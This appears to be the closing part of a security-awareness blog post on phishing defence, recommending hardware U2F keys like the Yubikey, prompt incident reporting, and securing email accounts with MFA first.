These, in my opinion, are the best.  Are they fool proof?  No.  If you haven't figured it out by now, nothing should claim it's "Hack Proof" or "Unphishable".  However, it's one of the strongest options available today.  These are physical hardware devices, typically in the form of USB, using the USB connection itself, NFC, or Bluetooth to help provide that second "what you have" factor of authentication.  A popular example of this is the Yubikey, of which I'm a proud owner.  Now that this open standard is taking off, many websites offer support for these physical security tokens and don't need to ask you for it every time you log in, only when you're using a new device or your session expires.  It's hard to phish what you can't get control of, but that didn't stop a couple of researchers from leveraging a flaw in Google Chrome's WebUSB to access the Yubikey Neo and obtain authorization remotely.  Unfortunately for me, that's the one I use so I had to disable WebUSB for now in my browser to mitigate the risk.

Brian Krebs recently released an article claiming that Google hasn't had any of it's 85,000+ employees successfully phished since requiring all employees to use U2FA since early 2017.  That says something!

To take things even further with a hardware device like Yubikey, Microsoft recently announced that Azure Active Directory and even non-AD Microsoft Accounts can use Yubikey for Windows Hello on Windows in place of a password (or along with it) to sign onto the operating system.  Neat!  Also, with the new open WebAuthN standard coming out, it'll make it easier for web sites to start supporting hardware based authentication, so expect to see even more of this in the near future.

Yubikey NEO USB Device

Report any Incidents or Suspicions

I think the best approach is to do what you can to prevent falling victim, but assume that you'll fall for something at some point.  Even the best of us can fall for a scam when we least suspect it.  After all, we're each checking potentially hundreds of emails a day and it's easy to let your guard down.  

You learn a lot about people after gathering access to their inboxes and like all of us, people tend to be a little humiliated when they find they've been tricked.  Often times after being suspicious of an email they fell victim to, it's not reported.  That, or it gets reported but it isn't disclosed that the person went through with the request.

The important thing is that everyone has a "Neighborhood Watch" mentality.  If the first person suspects something is wrong and reports it, then it could potentially save many others from falling for the same scheme.  The IT Department can quickly sinkhole DNS records, block IP addresses in the firewall, and disallow URLs in the web content filter to help mitigate the attack.  If your credentials or computer are compromised, it's better to report right away than silently wait for them to be used for something else without your knowledge.  If you do give up your credentials, hopefully you're not reusing that password anywhere else.  If so, consider changing those right away and look into getting a password vault protected with MFA. 😜

If you plan to start adding MFA to all of your accounts, good for you!  I'd argue that the most important place to start is with your email or, if using SSO, those accounts as well (Facebook, Google, etc).  The reason I say this is because I can't tell you the number of times I've gotten into an inbox and could simply perform a "forgot my password" to gain access to an external site, even if it's secured with MFA itself!  Often times you can disable MFA or re-enroll it (as I've done on pentests before) to the attacker's device so long as you have access to the victim's inbox.

I hope you enjoyed this blog and leave today a little more armed against these types of attacks, for yourself and your organization alike.  Remember, if you smell something phishy.. it might be a phish!

- Curtis Brazzell